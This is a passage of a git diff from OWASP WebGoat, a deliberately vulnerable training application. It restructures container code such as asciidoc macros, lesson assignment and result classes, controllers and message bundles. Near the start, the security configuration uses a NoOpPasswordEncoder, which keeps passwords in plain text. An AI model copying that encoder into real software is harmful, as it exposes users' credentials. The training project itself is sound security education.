AjaxAuthenticationEntryPoint("/login")); + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth.userDetailsService(userDetailsService); + } + + @Bean + @Override + public UserDetailsService userDetailsServiceBean() throws Exception { + return userDetailsService; + } + + @Override + @Bean + protected AuthenticationManager authenticationManager() throws Exception { + return super.authenticationManager(); + } + + @SuppressWarnings("deprecation") + @Bean + public NoOpPasswordEncoder passwordEncoder() { + return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java new file mode 100644 index 000000000..6c48ce1fa --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.container; + +import lombok.RequiredArgsConstructor; +import org.springframework.context.ApplicationContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.servlet.ModelAndView; + +@Controller +@RequiredArgsConstructor +public class WebWolfRedirect { + + private final ApplicationContext applicationContext; + + @GetMapping("/WebWolf") + public ModelAndView openWebWolf() { + var url = applicationContext.getEnvironment().getProperty("webwolf.url"); + + return new ModelAndView("redirect:" + url + "/home"); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java similarity index 52% rename from webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java rename to src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java index 141740523..7abaf10c9 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.asciidoc; +package org.owasp.webgoat.container.asciidoc; import org.springframework.beans.BeansException; import org.springframework.context.ApplicationContext; @@ -7,19 +7,20 @@ import org.springframework.core.env.Environment; import org.springframework.stereotype.Component; /** - * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework) + * Make environment available in the asciidoc code (which you cannot inject because it is handled by + * the framework) */ @Component public class EnvironmentExposure implements ApplicationContextAware { - private static ApplicationContext context; + private static ApplicationContext context; - public static Environment getEnv() { - return context.getEnvironment(); - } + public static Environment getEnv() { + return context.getEnvironment(); + } - @Override - public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { - context = applicationContext; - } + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + context = applicationContext; + } } diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java new file mode 100644 index 000000000..87a60a879 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class OperatingSystemMacro extends InlineMacroProcessor { + + public OperatingSystemMacro(String macroName) { + super(macroName); + } + + public OperatingSystemMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var osName = System.getProperty("os.name"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", osName); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java new file mode 100644 index 000000000..7275ba9b1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java @@ -0,0 +1,31 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +public class UsernameMacro extends InlineMacroProcessor { + + public UsernameMacro(String macroName) { + super(macroName); + } + + public UsernameMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var auth = SecurityContextHolder.getContext().getAuthentication(); + var username = "unknown"; + if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) { + username = webGoatUser.getUsername(); + } + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", username); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java new file mode 100644 index 000000000..12c283f9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class WebGoatTmpDirMacro extends InlineMacroProcessor { + + public WebGoatTmpDirMacro(String macroName) { + super(macroName); + } + + public WebGoatTmpDirMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", env); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java new file mode 100644 index 000000000..09658e8b2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class WebGoatVersionMacro extends InlineMacroProcessor { + + public WebGoatVersionMacro(String macroName) { + super(macroName); + } + + public WebGoatVersionMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", webgoatVersion); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java new file mode 100644 index 000000000..9ab0fac86 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java @@ -0,0 +1,73 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +/** + * Usage in asciidoc: + * + *

webWolfLink:here[] will display a href with here as text + */ +public class WebWolfMacro extends InlineMacroProcessor { + + public WebWolfMacro(String macroName) { + super(macroName); + } + + public WebWolfMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String linkText, Map attributes) { + var env = EnvironmentExposure.getEnv(); + var hostname = determineHost(env.getProperty("webwolf.port")); + var target = (String) attributes.getOrDefault("target", "home"); + var href = hostname + "/" + target; + + // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href + if (displayCompleteLinkNoFormatting(attributes)) { + linkText = href; + } + + var options = new HashMap(); + options.put("type", ":link"); + options.put("target", href); + attributes.put("window", "_blank"); + return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert(); + } + + private boolean displayCompleteLinkNoFormatting(Map attributes) { + return attributes.values().stream().anyMatch(a -> a.equals("noLink")); + } + + /** + * Determine the host from the hostname and ports that were used. The purpose is to make it + * possible to use the application behind a reverse proxy. For instance in the docker + * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the + * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1 + * www.webgoat.local www.webwolf.local + */ + private String determineHost(String port) { + HttpServletRequest request = + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + String host = request.getHeader("Host"); + int semicolonIndex = host.indexOf(":"); + if (semicolonIndex == -1 || host.endsWith(":80")) { + host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local"); + } else { + host = host.substring(0, semicolonIndex); + host = host.concat(":").concat(port); + } + return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : ""); + } + + protected boolean includeWebWolfContext() { + return true; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java new file mode 100644 index 000000000..58b12e547 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; + +/** + * Usage in asciidoc: + * + *

webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will + * display the complete url, for example: http://WW_HOST:WW_PORT/landing + */ +public class WebWolfRootMacro extends WebWolfMacro { + + public WebWolfRootMacro(String macroName) { + super(macroName); + } + + public WebWolfRootMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + protected boolean includeWebWolfContext() { + return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java new file mode 100644 index 000000000..c48fb2f23 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.assignments; + +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Autowired; + +public abstract class AssignmentEndpoint implements Initializeable { + + @Autowired private WebSession webSession; + @Autowired private UserSessionData userSessionData; + @Getter @Autowired private PluginMessages messages; + + protected WebSession getWebSession() { + return webSession; + } + + protected UserSessionData getUserSessionData() { + return userSessionData; + } + + /** + * Convenience method for create a successful result: + * + *

- Assignment is set to solved - Feedback message is set to 'assignment.solved' + * + *

Of course you can overwrite these values in a specific lesson + * + * @return a builder for creating a result from a lesson + * @param assignment + */ + protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) { + return AttackResult.builder(messages) + .lessonCompleted(true) + .attemptWasMade() + .feedback("assignment.solved") + .assignment(assignment); + } + + /** + * Convenience method for create a failed result: + * + *

- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved' + * + *

Of course you can overwrite these values in a specific lesson + * + * @return a builder for creating a result from a lesson + * @param assignment + */ + protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) { + return AttackResult.builder(messages) + .lessonCompleted(false) + .attemptWasMade() + .feedback("assignment.not.solved") + .assignment(assignment); + } + + protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) { + return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment); + } + + @Override + public void initialize(WebGoatUser user) {} +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentHints.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java similarity index 69% rename from webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentHints.java rename to src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java index 6d29dbe6f..bfea97438 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentHints.java +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java @@ -1,16 +1,14 @@ -package org.owasp.webgoat.assignments; +package org.owasp.webgoat.container.assignments; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; -/** - * Created by nbaars on 1/14/17. - */ +/** Created by nbaars on 1/14/17. */ @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentHints { - String[] value() default {}; + String[] value() default {}; } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentPath.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java similarity index 51% rename from webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentPath.java rename to src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java index 9147a1820..0c1993393 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentPath.java +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java @@ -1,16 +1,19 @@ -package org.owasp.webgoat.assignments; +package org.owasp.webgoat.container.assignments; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; +import org.springframework.web.bind.annotation.RequestMethod; -/** - * Created by nbaars on 1/14/17. - */ +/** Created by nbaars on 1/14/17. */ @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentPath { - String value(); + String[] path() default {}; + + RequestMethod[] method() default {}; + + String value() default ""; } diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java new file mode 100644 index 000000000..3cf353c21 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.assignments; + +import static org.apache.commons.text.StringEscapeUtils.escapeJson; + +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; + +public class AttackResult { + + public static class AttackResultBuilder { + + private boolean lessonCompleted; + private PluginMessages messages; + private Object[] feedbackArgs; + private String feedbackResourceBundleKey; + private String output; + private Object[] outputArgs; + private AssignmentEndpoint assignment; + private boolean attemptWasMade = false; + + public AttackResultBuilder(PluginMessages messages) { + this.messages = messages; + } + + public AttackResultBuilder lessonCompleted(boolean lessonCompleted) { + this.lessonCompleted = lessonCompleted; + this.feedbackResourceBundleKey = "lesson.completed"; + return this; + } + + public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) { + this.lessonCompleted = lessonCompleted; + this.feedbackResourceBundleKey = resourceBundleKey; + return this; + } + + public AttackResultBuilder feedbackArgs(Object... args) { + this.feedbackArgs = args; + return this; + } + + public AttackResultBuilder feedback(String resourceBundleKey) { + this.feedbackResourceBundleKey = resourceBundleKey; + return this; + } + + public AttackResultBuilder output(String output) { + this.output = output; + return this; + } + + public AttackResultBuilder outputArgs(Object... args) { + this.outputArgs = args; + return this; + } + + public AttackResultBuilder attemptWasMade() { + this.attemptWasMade = true; + return this; + } + + public AttackResult build() { + return new AttackResult( + lessonCompleted, + messages.getMessage(feedbackResourceBundleKey, feedbackArgs), + messages.getMessage(output, output, outputArgs), + assignment.getClass().getSimpleName(), + attemptWasMade); + } + + public AttackResultBuilder assignment(AssignmentEndpoint assignment) { + this.assignment = assignment; + return this; + } + } + + @Getter private boolean lessonCompleted; + @Getter private String feedback; + @Getter private String output; + @Getter private final String assignment; + @Getter private boolean attemptWasMade; + + public AttackResult( + boolean lessonCompleted, + String feedback, + String output, + String assignment, + boolean attemptWasMade) { + this.lessonCompleted = lessonCompleted; + this.feedback = escapeJson(feedback); + this.output = escapeJson(output); + this.assignment = assignment; + this.attemptWasMade = attemptWasMade; + } + + public static AttackResultBuilder builder(PluginMessages messages) { + return new AttackResultBuilder(messages); + } + + public boolean assignmentSolved() { + return lessonCompleted; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java new file mode 100644 index 000000000..4e76af9d6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java @@ -0,0 +1,81 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.assignments; + +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.core.MethodParameter; +import org.springframework.http.MediaType; +import org.springframework.http.converter.HttpMessageConverter; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice; + +@RestControllerAdvice +public class LessonTrackerInterceptor implements ResponseBodyAdvice { + + private UserTrackerRepository userTrackerRepository; + private WebSession webSession; + + public LessonTrackerInterceptor( + UserTrackerRepository userTrackerRepository, WebSession webSession) { + this.userTrackerRepository = userTrackerRepository; + this.webSession = webSession; + } + + @Override + public boolean supports( + MethodParameter methodParameter, Class> clazz) { + return true; + } + + @Override + public Object beforeBodyWrite( + Object o, + MethodParameter methodParameter, + MediaType mediaType, + Class> aClass, + ServerHttpRequest serverHttpRequest, + ServerHttpResponse serverHttpResponse) { + if (o instanceof AttackResult attackResult) { + trackProgress(attackResult); + } + return o; + } + + protected AttackResult trackProgress(AttackResult attackResult) { + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + if (userTracker == null) { + userTracker = new UserTracker(webSession.getUserName()); + } + if (attackResult.assignmentSolved()) { + userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment()); + } else { + userTracker.assignmentFailed(webSession.getCurrentLesson()); + } + userTrackerRepository.saveAndFlush(userTracker); + return attackResult; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java new file mode 100644 index 000000000..7d94f6044 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java @@ -0,0 +1,90 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container.controller; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.servlet.ModelAndView; + +@Controller +public class StartLesson { + + private final WebSession ws; + private final Course course; + + public StartLesson(WebSession ws, Course course) { + this.ws = ws; + this.course = course; + } + + /** + * start. + * + * @return a {@link ModelAndView} object. + */ + @RequestMapping( + path = "startlesson.mvc", + method = {RequestMethod.GET, RequestMethod.POST}) + public ModelAndView start() { + var model = new ModelAndView(); + + model.addObject("course", course); + model.addObject("lesson", ws.getCurrentLesson()); + model.setViewName("lesson_content"); + + return model; + } + + @RequestMapping( + value = {"*.lesson"}, + produces = "text/html") + public ModelAndView lessonPage(HttpServletRequest request) { + var model = new ModelAndView("lesson_content"); + var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson + var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson")); + + course.getLessons().stream() + .filter(l -> l.getId().equals(lessonName)) + .findFirst() + .ifPresent( + lesson -> { + ws.setCurrentLesson(lesson); + model.addObject("lesson", lesson); + }); + + return model; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/controller/Welcome.java b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java new file mode 100644 index 000000000..fddc5f640 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java @@ -0,0 +1,71 @@ +/** + * ************************************************************************************************ + * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @since October 28, 2003 + * @version $Id: $Id + */ +package org.owasp.webgoat.container.controller; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.servlet.ModelAndView; + +/** + * Welcome class. + * + * @author rlawson + * @version $Id: $Id + */ +@Controller +public class Welcome { + + private static final String WELCOMED = "welcomed"; + + /** + * welcome. + * + * @param request a {@link javax.servlet.http.HttpServletRequest} object. + * @return a {@link org.springframework.web.servlet.ModelAndView} object. + */ + @GetMapping(path = {"welcome.mvc"}) + public ModelAndView welcome(HttpServletRequest request) { + + // set the welcome attribute + // this is so the attack servlet does not also + // send them to the welcome page + HttpSession session = request.getSession(); + if (session.getAttribute(WELCOMED) == null) { + session.setAttribute(WELCOMED, "true"); + } + + // go ahead and send them to webgoat (skip the welcome page) + ModelAndView model = new ModelAndView(); + model.setViewName("forward:/attack?start=true"); + return model; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Language.java b/src/main/java/org/owasp/webgoat/container/i18n/Language.java similarity index 81% rename from webgoat-container/src/main/java/org/owasp/webgoat/i18n/Language.java rename to src/main/java/org/owasp/webgoat/container/i18n/Language.java index d2fe5bd95..76e2a9728 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Language.java +++ b/src/main/java/org/owasp/webgoat/container/i18n/Language.java @@ -23,18 +23,17 @@ *

*/ -package org.owasp.webgoat.i18n; +package org.owasp.webgoat.container.i18n; +import java.util.Locale; import lombok.AllArgsConstructor; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.LocaleResolver; -import java.util.Locale; - /** - * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the HttpRequest object - * when asking for a Locale. + * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the + * HttpRequest object when asking for a Locale. * * @author nbaars * @date 2/7/17 @@ -42,10 +41,10 @@ import java.util.Locale; @AllArgsConstructor public class Language { - private final LocaleResolver localeResolver; - - public Locale getLocale() { - return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); - } + private final LocaleResolver localeResolver; + public Locale getLocale() { + return localeResolver.resolveLocale( + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Messages.java b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java similarity index 65% rename from webgoat-container/src/main/java/org/owasp/webgoat/i18n/Messages.java rename to src/main/java/org/owasp/webgoat/container/i18n/Messages.java index 4f3312ddf..5fd9c9c92 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Messages.java +++ b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java @@ -22,38 +22,38 @@ * projects. *

*/ -package org.owasp.webgoat.i18n; +package org.owasp.webgoat.container.i18n; + +import java.util.Properties; import lombok.AllArgsConstructor; import org.springframework.context.support.ReloadableResourceBundleMessageSource; -import java.util.Properties; - /** - *

ExposedReloadableResourceMessageBundleSource class.

- * Extends the reloadable message source with a way to get all messages + * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a + * way to get all messages * * @author zupzup */ @AllArgsConstructor public class Messages extends ReloadableResourceBundleMessageSource { - private final Language language; + private final Language language; - /** - * Gets all messages for presented Locale. - * - * @return all messages - */ - public Properties getMessages() { - return getMergedProperties(language.getLocale()).getProperties(); - } + /** + * Gets all messages for presented Locale. + * + * @return all messages + */ + public Properties getMessages() { + return getMergedProperties(language.getLocale()).getProperties(); + } - public String getMessage(String code, Object... args) { - return getMessage(code, args, language.getLocale()); - } + public String getMessage(String code, Object... args) { + return getMessage(code, args, language.getLocale()); + } - public String getMessage(String code, String defaultValue, Object... args) { - return super.getMessage(code, args, defaultValue, language.getLocale()); - } + public String getMessage(String code, String defaultValue, Object... args) { + return super.getMessage(code, args, defaultValue, language.getLocale()); + } } diff --git a/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java new file mode 100644 index 000000000..16df55cb2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

